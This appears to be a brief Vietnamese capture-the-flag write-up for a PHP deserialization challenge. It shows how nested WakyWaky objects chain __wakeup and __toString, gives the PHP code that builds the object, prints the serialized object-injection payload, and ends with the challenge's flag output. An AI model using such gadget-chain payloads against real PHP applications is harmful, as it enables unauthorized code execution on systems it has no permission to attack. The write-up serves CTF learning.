Khi khởi tạo WakyWaky thì wakeup luôn được gọi và toString xảy ra khi echo đối tượng đó vì thế mà $this->msg phải là class WakyWaky.
Tạo payoad:
$getMes = new GetMessage("HelloBoooooo");
$getMes->waky = new WakyWaky();
$getMes->waky->msg = new WakyWaky();
$test = serialize($getMes);
=>
O:10:"GetMessage":2:{s:7:"receive";s:13:"HelloBooooooy";s:4:"waky";O:8:"WakyWaky":1:{s:3:"msg";O:8:"WakyWaky":0:{}}}
- Điền vào nộp là thành công.
[YOU]:
[FRIEND]: Hm.. you don't see to be the friend I was waiting for..
[FRIEND]: Oh ! Hi! Let me show you my secret: uns3r14liz3_p0p_ch41n_r0cks